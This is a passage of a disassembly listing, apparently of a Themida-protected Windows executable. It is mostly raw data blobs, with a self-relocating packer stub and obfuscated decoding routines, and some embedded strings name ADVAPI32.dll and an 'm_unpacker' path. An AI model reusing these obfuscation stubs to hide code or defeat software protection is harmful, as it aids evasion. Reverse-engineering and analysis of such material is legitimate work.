48995FECh, 0BE910100h, 17F964F7h, 41364BC6h, 2C896714h dd 75F440BAh, 0E0B003CCh, 12970105h, 4822AF2h, 235E20DCh dd 0CF136C27h, 7CD4557Fh, 8181B808h, 87E12969h, 0CD1C308Bh dd 937A0101h, 8EED50AFh, 0E0008829h, 0E97FA7EBh, 0C600854Bh dd 0F2D5360h, 24BCAF9Ch, 59C99EFh, 0C74C587Ah, 0C04499C4h dd 51C09A00h, 0FE2EDA0Bh, 4AC9094h, 6B65CB04h, 749CB2BFh dd 6E0095E0h, 56CE20D8h, 79036F6h, 0A1B11016h, 805CE43Bh dd 47F09918h, 1BDC83Eh, 0B387FC0Bh, 94623684h, 8F2DF900h dd 3E93499Bh, 19002899h, 507BD4F5h, 0E8EBB894h, 4FEB1E79h dd 0C86D8053h, 0E4B464A4h, 840580B0h, 8E2C76A6h, 15FAE020h dd 0FCEB0008h, 0F7E94F47h, 311F5805h, 73CB5D30h, 7618683Eh dd 8A5C066Bh, 0B002618Dh dd 314FA600h, 0E281967Dh, 0A9CB6039h, 99CA15E0h, 0D46147F2h dd 12EB8978h, 5185C70h, 433C102Bh, 0F0FF009Eh, 384FA257h dd 14B0D85Ch, 24366Fh, 6285ABAAh, 0B9F6567h, 70E8FC4Ch dd 4E7F3C90h, 170029DEh, 305DC501h, 61C894D8h, 70B1DA24h dd 2A094F44h, 60BD725Dh, 6103F0C4h, 0EFA441C9h, 52A860C2h dd 5C43DA45h, 8A09375h, 8FC460C0h, 5B5D3C00h, 9C02F07Eh dd 0B88946E8h, 97F88045h, 0F51C0093h, 6960888Fh, 8C005B2Ch dd 0CCA7492h, 12301FF4h, 117A7D7h, 0E1189E70h, 0CB5420B0h dd 504B58h, 562C678Ch, 132166D5h, 309EE73Fh, 283A33D4h dd 61870E07h, 0BC80066Ah, 12BE6FB4h, 7B293Bh, 6671DD24h dd 2C2EA1A6h, 0A00843Eh, 48DC5DA0h, 94BE5CEFh, 0C016E92Dh dd 16DD300h, 3DE7EECEh, 239001B4h, 653A66A7h, 2440FEE8h dd 562EB92Fh, 8E18B8E6h, 16D60E70h, 21394C0Dh, 0F12D31CCh dd 603ACCABh, 3374B605h, 0A4004CBDh, 3C5E1924h, 86A70AD3h dd 12CCC5C4h, 830800ADh, 9AF21E4Fh, 91E59E2Dh, 96FC36E0h dd 44B70D6Eh, 0F0B91BF1h, 0C083E9B1h, 1964B3h, 60EF2ED9h dd 0F9672977h, 0BC95B209h, 0ECC461h, 0CAFA4935h, 6BFF5B80h dd 2D289D00h, 0AA2F0BFCh, 80909106h, 6772A6A4h, 27037A3Eh dd 53F5F64h, 3BEB80AFh, 15C22E10h, 6C240Ah, 542520B7h dd 75291EBCh, 0C383D828h, 80EE80A1h, 4CC75039h, 6702E62Ah dd 0EDDA4BF4h, 0AC9A081h, 197F217h, 0DBFFFFh, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_540A69: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_543D8E ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- aSx db '{ИX|',0 align 4 dd 0 dd 781F0000h, 76CDB8ADh, 77E7h, 0 dd 0A00F0000h, 100A0h, 0 dd 62550000h, 3 dup(0) dd 0A00000h, 89EA0000h, 8B4C0058h, 0FA78h, 3 dup(0) dd 802A0000h, 58h, 2 dup(0) dd 3AFA0000h, 0FFA9h, 740000h, 5A9B0000h, 1D7902D0h, 0B1h dd 0BC790000h, 0A4E9FFCFh, 0AED20000h, 5Bh, 7 dup(0) dd 76CD0000h, 77E7h, 0 dd 8BA00000h, 59h, 0 dd 0F6090000h, 8803h, 5 dup(0) dd 10C60000h, 54h, 5D80000h, 77E8h, 6 dup(0) dd 6D500000h, 39EB0000h, 8 dup(0) dd 0E3060000h, 59F00057h, 323577DDh, 7B1Fh, 2280000h, 40h dd 0B7h, 99950000h, 0A4h, 32h dup(0) dd 8C0A0000h, 0A0h, 0Ah dup(0) dd 30DF0000h, 0A9C5h, 0 dd 34D40000h, 4AF0005Bh, 0Eh, 3 dup(0) dd 0E6600000h, 0 dd 0E0000000h, 4Dh, 8 dup(0) dd 5D80000h, 77E8h, 5 dup(0) dd 0CDF00000h, 57h, 0 dd 3040000h, 7FFEh, 10000h, 699C0000h, 0AED20000h, 0A099005Bh dd 77E7h, 0 dd 3040000h, 7FFEh, 0 dd 0A00F0000h, 0A1FE00A0h, 0B0h, 6 dup(0) dd 5070000h, 0A2FFh, 3E680000h, 97D077E8h, 2 dup(0) dd 50240000h, 77FCh, 3 dup(0) dd 10000h, 262B0000h, 5Bh, 2 dup(0) dd 0D9840000h, 43D21F3Ah, 24AD0054h, 3 dup(0) dd 7E030000h, 63DA0000h, 0A0h, 86h dup(0) dd 6180000h, 77E8h, 4 dup(0) dd 36E10000h, 0FF1C005Bh, 12h, 6 dup(0) dd 3FA0000h, 7C0Eh, 0 dd 2FFC0000h, 0FFA4h, 2 dup(0) dd 0F9BD0000h, 472Eh, 2 dup(0) dd 3040000h, 7FFEh, 0Ah dup(0) dd 230000h, 3 dup(0) dd 230000h, 54h, 4 dup(0) dd 0A5060000h, 151h, 23E80000h, 0ADD200A1h, 57h, 0 dd 6D500000h, 99DC0000h, 2 dup(0) dd 620000h, 3E11h, 0 dd 0E3060000h, 57h, 2 dup(0) dd 0DC5B0000h, 58h, 2 dup(0) dd 68C60000h, 0B863h, 2 dup(0) dd 0EBCC0000h, 107h, 40000h, 9 dup(0) dd 0FCFC0000h, 8001h, 2 dup(0) dd 0CB150000h, 0B9B6h, 3 dup(0) dd 3060000h, 7FFEh, 0D1590000h, 597Bh, 2 dup(0) dd 34300000h, 312Dh, 2 dup(0) dd 54320000h, 61D8h, 2 dup(0) dd 3040000h, 0D7067FFEh, 77E6h, 0 dd 3040000h, 7FFEh, 7D5B0000h, 57h, 67C40000h, 5Ch, 0 dd 0B1960000h, 78A9h, 4 dup(0) dd 0BD3E0000h, 0F557AD72h, 0C600FFFFh, 3, 2 dup(0) dd 0E800000h, 9 dup(0) dd 1F1F0000h, 5Bh, 0A7600000h, 0CCFEh, 7 dup(0) dd 0BAD90000h, 5Ah, 0 dd 30DF0000h, 0A9C5h, 3 dup(0) dd 43510000h, 0 dd 55C20000h, 56h, 2 dup(0) dd 34D40000h, 5Bh, 2 dup(0) dd 8A000000h, 0 dd 22220000h, 22222222h, 2222h, 0 dd 0B2F60000h, 54h, 2 dup(0) dd 1C2B0000h, 0 dd 0E3180000h, 57h, 1FC0000h, 0B1h, 2 dup(0) dd 0C3590000h, 59h, 13h dup(0) dd 30DF0000h, 0A9C5h, 0Eh dup(0) dd 0F9DF0000h, 16F7h, 0Eh dup(0) dd 0ECB00000h, 0F20Dh, 0 dd 0C0740000h, 4 dup(0) dd 35F20000h, 5Bh, 0Ch dup(0) dd 92340000h, 0A0h, 0B5E20000h, 3 dup(0) dd 34C10000h, 0D62Bh, 2 dup(0) dd 0A5FD0000h, 0B31A77E7h, 7FA6h, 7CFC0000h, 5Bh, 0Bh dup(0) dd 2EC0000h, 0C0h, 0 dd 635E0000h, 5Bh, 0Ch dup(0) dd 8B820000h, 421D77E7h, 57h, 2 dup(0) dd 109C0000h, 6 dup(0) dd 81E80000h, 9F280059h, 3 dup(0) dd 8B4C0000h, 0FA78h, 8 dup(0) dd 10000h, 67F80000h, 3 dup(0) dd 0D20E0000h, 4005Bh, 2 dup(0) dd 79DB0000h, 5Ah, 7FFC0000h, 0 dd 15600000h, 0A1h, 7 dup(0) dd 6CEB0000h, 8A220000h, 59h, 5 dup(0) dd 10000h, 2FD90000h, 61664h, 2 dup(0) dd 0E6600000h, 0Ah dup(0) dd 63E0000h, 304005Ah, 7FFEh, 7 dup(0) dd 40000h, 0 dd 0E2B50000h, 57h, 0D20E0000h, 61DF005Bh, 55Fh, 0 dd 0FC3C0000h, 0FFF0ECEEh, 9F280012h, 57h, 3 dup(0) dd 0A8920000h, 5E6Dh, 0 dd 0B5E20000h, 908A0Fh, 22D80000h, 8C00A1h, 0 dd 0C1EF0000h, 1, 4 dup(0) dd 0A9040000h, 2 dup(0) dd 780000h, 3 dup(0) dd 14340000h, 3 dup(0) dd 31E0000h, 0EF63305Dh, 0EBEFh, 59E40000h, 8EC80000h dd 0FFFFh, 2 dup(0) dd 0C96A0000h, 77D4h, 9C0000h, 3 dup(0) dd 93930000h, 0A0h, 0 dd 81D40000h, 0EC27h, 22A30000h, 54h, 0Bh dup(0) dd 2BCF0000h, 144Fh, 2 dup(0) dd 20000h, 7D330000h, 0CDF00057h, 57h, 3 dup(0) dd 41750000h, 0FFFFh, 0 dd 0D1AD0000h, 1601h, 2DF20000h, 0FFA4h, 0 dd 0AED20000h, 5Bh, 2 dup(0) dd 94990000h, 0A0h, 0 dd 0CCE60000h, 35F6h, 3 dup(0) dd 0DC8A0000h, 7931h, 4 dup(0) dd 65520000h, 72617473h, 70704174h, 6578652Eh, 4 dup(0) dd 22D80000h, 200A1h, 3 dup(0) dd 9F860000h, 0A8FCDDh, 0B60D0000h, 7143h, 0Fh dup(0) dd 0B3E10000h, 5Bh, 2Ch dup(0) dd 980000h, 0Bh dup(0) dd 0EA900000h, 56h, 2 dup(0) dd 230000h, 58h, 0 dd 0EDBD0000h, 0B1347EE7h, 962300A2h, 0FF5Fh, 0A00F0000h dd 0A0h, 6 dup(0) dd 8B820000h, 877E7h, 10031h, 3FA0000h, 7C0Eh, 6D500000h dd 69DD0000h, 0A0h, 2 dup(0) dd 9600000h, 0FD85h, 5 dup(0) dd 0A6E90000h, 445F77EBh, 59h, 2 dup(0) dd 0A1500000h, 7BB5h, 0AEh, 16h dup(0) dd 0F7DD0000h, 77FFh, 2 dup(0) dd 0FFB00000h, 1C0h, 0 dd 1CFA0000h, 0FFA8h, 140000h, 0Eh, 421D0000h, 57h, 0 dd 22920000h, 0A0h, 2 dup(0) dd 0FE60000h, 9Fh, 34C60000h, 30DF0054h, 0A9C5h, 3 dup(0) dd 0B4E20000h, 59h, 4 dup(0) dd 0E550025Bh, 5Ah, 9E0000h, 1000005Bh, 9E0000h, 5Bh, 0 dd 3040000h, 7FFEh, 7 dup(0) dd 198A0000h, 54h, 4 dup(0) dd 93160000h, 0FFA7h, 17h dup(0) dd 10000h, 7 dup(0) dd 10000h, 6 dup(0) dd 0E4E00000h, 5Ah, 2 dup(0) dd 8A980000h, 0BE030059h, 5Bh, 3 dup(0) dd 10000h, 6 dup(0) dd 7C0000h, 2 dup(0) dd 4B400000h, 70C4E020h, 0A0h, 13h dup(0) dd 0E3060000h, 0AC5E0057h, 77E7h, 0FA560000h, 0A0h, 6 dup(0) dd 34EB0000h, 4649h, 6D500000h, 0 dd 0A1500000h, 3047BB5h, 7FFEh, 0D8590000h, 59h, 0Ah dup(0) dd 10000h, 11110000h, 1111h, 2, 6 dup(0) dd 7FD80000h, 0A2h, 5 dup(0) dd 93480000h, 0FDBEh, 5 dup(0) dd 9EA80000h, 0FFFFh, 0FEF00000h, 12h, 10h dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 980000h, 0 dd 10000000h, 0FF540040h, 12h, 17h dup(0) dd 40000h, 2 dup(0) dd 0D0000000h, 304000Dh, 7FFEh, 6 dup(0) dd 8BA00000h, 59h, 23D70000h, 367C77DDh, 5Ah, 0 dd 3040000h, 7FFEh, 77F5h, 4 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 892A0000h, 0FFFFh, 0DF970000h, 7340CBFh, 0Fh, 0 dd 0EB6025Ah, 7CFCAA3Eh, 5Bh, 0FFE00000h, 0F9F80012h, 3 dd 3 dup(0) dd 915B0000h, 0A0h, 0 dd 0A1500000h, 7BB5h, 3 dup(0) dd 59EC0000h, 47570000h, 7209h, 2 dup(0) dd 0B1CA0000h, 0AEh, 4 dup(0) dd 9F9B0000h, 59h, 32100000h, 76CDFFA8h, 77E7h, 0 dd 42FB0000h, 58h, 2 dup(0) dd 61DF0000h, 55Fh, 2 dup(0) dd 0FF540000h, 12h, 0B1FB0000h, 0FFFF1D23h, 0FFFFh, 16h dup(0) dd 6C550000h, 0BA7D3315h, 0DF70h, 3 dup(0) dd 880000h, 0F80000h, 9B1B77E6h, 7BFDh, 10000h, 0 dd 3040000h, 17FFEh, 0BE080000h, 7D830058h, 57h, 4 dup(0) dd 6D500000h, 6 dup(0) dd 8D530000h, 0A4h, 6B010000h, 6 dup(0) dd 0C5160000h, 0FFBEh, 5 dup(0) dd 3040000h, 7FFEh, 0 dd 230000h, 0D2A90058h, 57h, 0A80000h, 0D920h, 5C750000h dd 0E0D2h, 3 dup(0) dd 34D80000h, 1FDAh, 6 dup(0) dd 9F70000h, 0A0h, 0FD9D0000h, 78A9h, 5 dup(0) dd 10000h, 0C96A77D4h, 950477D4h, 0B968B74Ah, 123h, 421D0000h dd 14BC0057h, 0C7A804A9h, 0D62Bh, 444C0000h, 4 dup(0) dd 4D280000h, 7D15E63h, 4 dup(0) dd 70000000h, 0AED2001Ch, 5Bh, 6 dup(0) dd 5FF00000h, 599D0024h, 595A78A9h, 0FEF6h, 0 dd 6ACD0000h, 48B5h, 3 dup(0) dd 0A1020000h, 0E0C0h, 0FF1C0000h, 12h, 0 dd 0A23A0000h, 0FFFFh, 0 dd 5B3D0000h, 0B64Eh, 6 dup(0) dd 0C63C0000h, 106Fh, 29h dup(0) dd 6FCD0000h, 1, 0 dd 6D720000h, 1568FFA7h, 0A1h, 7 dup(0) dd 0EDFB0000h, 0FA7Bh, 3 dup(0) dd 97C00000h, 0FD5B005Ah, 40E0h, 62h dup(0) dd 4E6A0000h, 8756h, 2FE80000h, 77E8h, 2 dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 89680000h, 5Ah, 22D80000h, 0A1h, 13h dup(0) dd 0E3060000h, 57h, 2 dup(0) dd 5ECC0000h, 328077DDh, 0FF4Dh, 3040000h, 0FF5C7FFEh dd 0FF60AACFh, 12h, 0 dd 69DD0000h, 0A0h, 3 dup(0) dd 0B5E20000h, 18h dup(0) dd 0E3060000h, 57h, 7 dup(0) dd 3730000h, 0CDFCh, 6 dup(0) dd 0AE630000h, 18h, 3040000h, 7FFEh, 0A5E70000h, 100A4h dd 3 dup(0) dd 6CE10000h, 809Eh, 4 dup(0) dd 593C0000h, 0FF4Eh, 3 dup(0) dd 96AC0000h, 2 dup(0) dd 6B070000h, 0B816005Bh, 59h, 2 dup(0) dd 9EAC0000h, 59h, 2 dup(0) dd 0A00F0000h, 0A0h, 2 dup(0) dd 3040000h, 847FFEh, 0CB150000h, 0B9B6h, 6 dup(0) dd 0D1570000h, 57h, 2 dup(0) dd 9E240000h, 0A144FFFFh, 77E7h, 2 dup(0) dd 915B0000h, 0A0h, 0A40000h, 0 dd 944B0000h, 53DDh, 2 dup(0) dd 0A00F0000h, 0A0h, 4 dup(0) dd 190000h, 598E0000h, 0BEC4h, 2 dup(0) dd 3BE90000h, 58h, 2 dup(0) dd 2280000h, 40h, 6D500000h, 2 dup(0) dd 0B7B90000h, 59h, 2 dup(0) dd 77D4h, 588C0000h, 22D8FD7Eh, 0A1h, 8 dup(0) dd 3CCB0000h, 27Ah, 0D5540000h, 2ABE009Fh, 12154h, 2 dup(0) dd 0C7420000h, 0C13h, 0FEF80000h, 12h, 22D80000h, 0A1h dd 0FF540000h, 12h, 13h dup(0) dd 77E6h, 4 dup(0) dd 22D80000h, 326800A1h, 30400A1h, 0FF547FFEh, 12h, 0FFC40000h dd 12h, 0EB000000h, 3 dup(0) dd 3040000h, 180B7FFEh, 77F5h, 2 dup(0) dd 63720000h, 0EBB0059h, 11060006h, 95B2h, 3 dup(0) dd 47520000h, 8FBA0FFFh, 0D9A2h, 2 dup(0) dd 390000h, 0AED20000h, 3333005Bh, 2 dup(33333333h), 3333h dd 5 dup(0) dd 0FCFC0000h, 8001h, 2 dup(0) dd 380000h, 58h, 0AFC40000h, 58h, 0 dd 230000h, 54h, 85710000h, 79A97B6Bh, 216877F0h, 77E8h dd 4 dup(0) dd 0BF330000h, 7888h, 232D0000h, 58h, 7 dup(0) dd 61170000h, 1A98h, 0 dd 0A8370000h, 77E7h, 0 dd 530D0000h, 5Bh, 3040000h, 7FFEh, 0Dh dup(0) dd 0AED20000h, 5Bh, 3 dup(0) dd 32680000h, 2, 2 dup(0) dd 3040000h, 7FFEh, 0EB2B0000h, 3A430E5Ch, 4E49575Ch, 53574F44h dd 7379535Ch, 336D6574h, 44415C32h, 49504156h, 642E3233h dd 6C6Ch, 44h dup(0) dd 0CF700000h, 58h, 0 dd 10000h, 0DCB60000h, 0FFEBh, 2 dup(0) dd 0CDF00000h, 57h, 0 dd 5D110000h, 58h, 4 dup(0) dd 3A00000h, 2 dup(0) dd 3040000h, 7FFEh, 0A00F0000h, 0A0h, 0Eh dup(0) dd 27980000h, 58h, 4 dup(0) dd 3E950000h, 55A2h, 2B0000h, 4 dup(0) dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 80h dup(0) dd 79630000h, 147477E7h, 5Ah, 0FF600000h, 12h, 3 dup(0) dd 10CE0000h, 10h dup(0) dd 11FF0000h, 8B61005Bh, 0 dd 54000000h, 58h, 3 dup(0) dd 9Fh, 3 dup(0) dd 76D0000h, 28Ch, 5 dup(0) dd 929A0000h, 7CA680D8h, 805Ah, 2 dup(0) dd 3FA0000h, 7C0Eh, 888A0000h, 0B553h, 0B84F0000h, 69DD0059h dd 39DA0000h, 54h, 3 dup(0) dd 8C0A0000h, 0E30600A0h, 57h, 0 dd 68540000h, 64696D65h, 61h, 1Dh dup(0) dd 0E48D0000h, 59h, 6 dup(0) dd 0FFB00000h, 200h, 9F280000h, 57h, 173C0000h, 33C1h dd 2 dup(0) dd 0C6BC0000h, 57h, 0 dd 0FF540000h, 12h, 8 dup(0) dd 9C370000h, 0A0h, 2 dup(0) dd 0B1B90000h, 304079Eh, 7FFEh, 69DD0000h, 0A0h, 0Eh dup(0) dd 9C750000h, 114Bh, 42FC0000h, 1980h, 5 dup(0) dd 800000h, 2 dup(0) dd 1CFA0000h, 45EEFFA8h, 0B1A6286Fh, 72CFh, 0AED20000h dd 5Bh, 3040000h, 7FFEh, 0Ah dup(0) dd 44620000h, 58h, 0 dd 0EA900000h, 56h, 0BAh dup(0) dd 0D2FB0000h, 0C9AAFFFFh, 2B50h, 4 dup(0) dd 0FF190000h, 0C3E3FFB6h, 0B025h, 0 dd 940000h, 60000000h, 3, 1F30000h, 6D500058h, 10000h dd 0 dd 60250000h, 0B2A3h, 2 dup(0) dd 0FFFF0000h, 0EFFBh, 9 dup(0) dd 0FFFF0000h, 0FFFFh, 9 dup(0) dd 6A420000h, 77E7h, 0 dd 3DC0000h, 2 dup(0) dd 7ADA0000h, 57h, 9 dup(0) dd 0A1440000h, 77E7h, 3 dup(0) dd 1FDF0000h, 0E925E6B0h, 3040D59h, 0E07FFEh, 4 dup(0) dd 0CFF80000h, 64FFh, 2 dup(0) dd 3040000h, 7FFEh, 0 dd 8AFC0000h, 3E3B005Ah, 0A0h, 0Ah dup(0) dd 0A95B0000h, 5Bh, 0FFA40000h, 12h, 0 dd 21600000h, 77E8h, 21680000h, 2, 9 dup(0) dd 450A0000h, 0A149h, 0 dd 5E2E0000h, 0A0h, 0C00000h, 3 dup(0) dd 59230000h, 5Bh, 2E0F0000h, 76CD77F5h, 1B4077E7h, 60D876B4h dd 8EC8FFA8h, 0FFFFh, 4 dup(0) dd 44CD0000h, 58h, 0 dd 10D20000h, 54h, 10000h, 0 dd 7B240000h, 0D5B4h, 0 dd 0EDE80000h, 0Bh, 2 dup(0) dd 77DDh, 8 dup(0) dd 0C0000h, 10860241h, 54h, 0Bh dup(0) dd 0CC60000h, 6FF5h, 0 dd 22A20000h, 54h, 0 dd 0E0000000h, 4Dh, 4 dup(0) dd 23760000h, 86CEh, 2 dup(0) dd 34C10000h, 0D62Bh, 4C80000h, 5Ah, 3040000h, 7FFEh, 3040000h dd 21217FFEh, 2121h, 5 dup(0) dd 0B0490000h, 58h, 0FCFC0000h, 8001h, 2 dup(0) dd 0B1680000h, 9Fh, 0 dd 93EF0000h, 13C677E7h, 0A0377FFEh, 5ECE00A0h, 19F2h dd 0F1200000h, 58h, 5 dup(0) dd 5CB50000h, 77E7h, 0 dd 2B4A0000h, 54h, 0E3060000h, 57h, 2 dup(0) dd 0F00E0000h, 0F5D9h, 34C10000h, 0D62Bh, 2 dup(0) dd 1D770000h, 7784h, 2 dup(0) dd 599D0000h, 78A9h, 4 dup(0) dd 76CD0000h, 77E7h, 3 dup(0) dd 700000h, 29440000h, 10h, 88C00000h, 41h, 9 dup(0) dd 0EC0000h, 7 dup(0) dd 9BAC0000h, 0A2h, 3 dup(0) dd 97F00000h, 5Ah, 0C13B0000h, 5Ah, 2 dup(0) dd 3040000h, 7FFEh, 0 dd 0F5AC0000h, 57h, 4C220000h, 0A9A0054h, 35B009Fh, 0 dd 0A13F0000h, 77E7h, 0FFFF0000h, 0BFh, 36360000h, 3636h dd 1Eh dup(0) dd 0E1EA0000h, 22F5h, 5 dup(0) dd 0E3060000h, 57h, 2BDE0000h, 0CCE600A0h, 0CD5C35F6h dd 58h, 77F5h, 3 dup(0) dd 25Ah, 4 dup(0) dd 3040000h, 7FFEh, 59740000h, 8655h, 0 dd offset dword_4FFE38+1C8h dd 0FE9Fh, 0E3060000h, 230057h, 58h, 2 dup(0) dd 5CB50000h, 77E7h, 0Ah dup(0) dd 940000h, 0 dd 421D0000h, 57h, 12570000h, 58h, 4 dup(0) dd 0FCFC0000h, 8001h, 5 dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 31450000h, 0A0h, 0 dd 69DD0000h, 0A0h, 0 dd 6D500000h, 3040000h, 7FFEh, 8 dup(0) dd 0A2AE0259h, 0CB5Ah, 9 dup(0) dd 0B80000h, 0B000000h, 0C20374C0h, 448B0018h, 0E8530C24h dd 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 13h dup(0) dd 0FB00000h, 4 dup(0) dd 417A0000h, 77E8h, 0A86F0000h, 1CD9h, 232D0000h, 58h dd 7 dup(0) dd 0FFB00000h, 190h, 3 dup(0) dd 189A0000h, 77DDh, 4FB70000h, 0FFA7h, 241h, 3 dup(0) dd 0CF700000h, 58h, 3 dup(0) dd 0B0BE0000h, 9A2Dh, 3 dup(0) dd 0B6500000h, 9B58h, 6D500000h, 0FF540000h, 12h, 40h dd 2 dup(0) dd 69DD0000h, 0A0h, 33F6025Ch, 54h, 0 dd 401C0000h, 0FFFFh, 2 dup(0) dd 0A3DC0000h, 552Fh, 0 dd 0BC0000h, 2 dup(0) dd 0A5FD0000h, 26AE77E7h, 85AEh, 0 dd 8EC80000h, 0FFFFh, 0ABB30000h, 50000h, 0 dd 6E940000h, 7 dup(0) dd 0E450000h, 2424062Ah, 2424h, 3 dup(0) dd 0AC0000h, 0 dd 8AFC0000h, 7AC0005Ah, 57h, 2 dup(0) dd 10000h, 5 dup(0) dd 5700000h, 5Ah, 3 dup(0) dd 34C10000h, 0D62Bh, 2 dup(0) dd 32100000h, 304FFA8h, 48B87FFEh, 54h, 0 dd 10000h, 3 dup(0) dd 60D80000h, 0FFA8h, 2 dup(0) dd 28Ch, 39BC0000h, 7A8Ah, 2 dup(0) dd 211D0000h, 1671h, 5 dup(0) dd 0EBB30000h, 77F7h, 0Bh dup(0) dd 60000h, 0 dd 32100000h, 0FFA8h, 6 dup(0) dd 73160000h, 0A2h, 5 dup(0) dd 0FCFC0000h, 8001h, 3 dup(0) dd 20000h, 6 dup(0) dd 56430000h, 0Bh dup(0) dd 0BDAC0000h, 0FFB00000h, 1C0h, 2 dup(0) dd 1050000h, 0A28h, 3 dup(0) dd 117E0000h, 54h, 2 dup(0) dd 3040000h, 0C4867FFEh db 0E7h, 77h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_543D8E: ; CODE XREF: start:loc_540A69j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 5EA332Fh mov [ebp+5EA1D71h], edx mov [ebp+5EA1D8Dh], esi mov [ebp+5EA0BCDh], eax cmp dword ptr [ebp+5EA20CDh], 0 jz short loc_543DC6 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_543DC6: ; CODE XREF: start+63DA4j mov eax, [esp+40h+var_1C] mov [ebp+5EA2ABDh], eax push 45h call sub_543E7A push 783749Ah call sub_543EC0 push 0A894B25h call sub_543EC0 jmp loc_544004 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_543E7A proc near ; CODE XREF: start+63DBEp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 5EA341Dh mov ebx, edx mov [ebp+var_28], 0 loc_543E96: ; CODE XREF: sub_543E7A+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_543EB5 mov eax, [ebp+arg_0] mov [ebx+5EA3387h], eax inc [ebp+arg_0] inc ebx jmp short loc_543E96 ; --------------------------------------------------------------------------- loc_543EB5: ; CODE XREF: sub_543E7A+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_543E7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_543EC0 proc near ; CODE XREF: start+63DC8p start+63DD2p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 5EA3466h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_543EE6: ; CODE XREF: sub_543EC0+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_543EE6 mov [ebp+var_84], 0 lea edi, [edx+5EA3387h] lea esi, [ebp+var_80] loc_543F16: ; CODE XREF: sub_543EC0+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_543F22: ; CODE XREF: sub_543EC0+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_543F22 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_543F16 popa leave retn 4 sub_543EC0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_543F60 ; --------------------------------------------------------------------------- loc_543F5C: ; CODE XREF: Themida_:00543F63j inc dword ptr [ebp-4] inc esi loc_543F60: ; CODE XREF: Themida_:00543F5Aj cmp byte ptr [esi], 0 jnz short loc_543F5C mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_543FF1 ; --------------------------------------------------------------------------- loc_543F72: ; CODE XREF: Themida_:00543FF4j mov dword ptr [ebp-8], 0 jmp short loc_543FE8 ; --------------------------------------------------------------------------- loc_543F7B: ; CODE XREF: Themida_:00543FECj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_543FD5 ; --------------------------------------------------------------------------- loc_543F8B: ; CODE XREF: Themida_:00543FD9j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_543FAD cmp bl, 39h ja short loc_543FAD sub bl, 30h jmp short loc_543FCF ; --------------------------------------------------------------------------- loc_543FAD: ; CODE XREF: Themida_:00543FA1j ; Themida_:00543FA6j cmp bl, 61h jb short loc_543FBF cmp bl, 66h ja short loc_543FBF sub bl, 61h add bl, 0Ah jmp short loc_543FCF ; --------------------------------------------------------------------------- loc_543FBF: ; CODE XREF: Themida_:00543FB0j ; Themida_:00543FB5j cmp bl, 41h jb short loc_543FCF cmp bl, 46h ja short loc_543FCF sub bl, 41h add bl, 0Ah loc_543FCF: ; CODE XREF: Themida_:00543FABj ; Themida_:00543FBDj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_543FD5: ; CODE XREF: Themida_:00543F89j cmp dword ptr [ebp-0Ch], 2 jb short loc_543F8B cmp dword ptr [ebp-10h], 0 jbe short loc_543FE5 mov eax, [ebp-10h] stosb loc_543FE5: ; CODE XREF: Themida_:00543FDFj inc dword ptr [ebp-8] loc_543FE8: ; CODE XREF: Themida_:00543F79j cmp dword ptr [ebp-8], 2 jb short loc_543F7B add edx, 4 loc_543FF1: ; CODE XREF: Themida_:00543F70j cmp edx, [ebp-4] jb loc_543F72 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_544004: ; CODE XREF: start+63DD7j mov ecx, 7000h lea edi, [ebp+5EA35ACh] 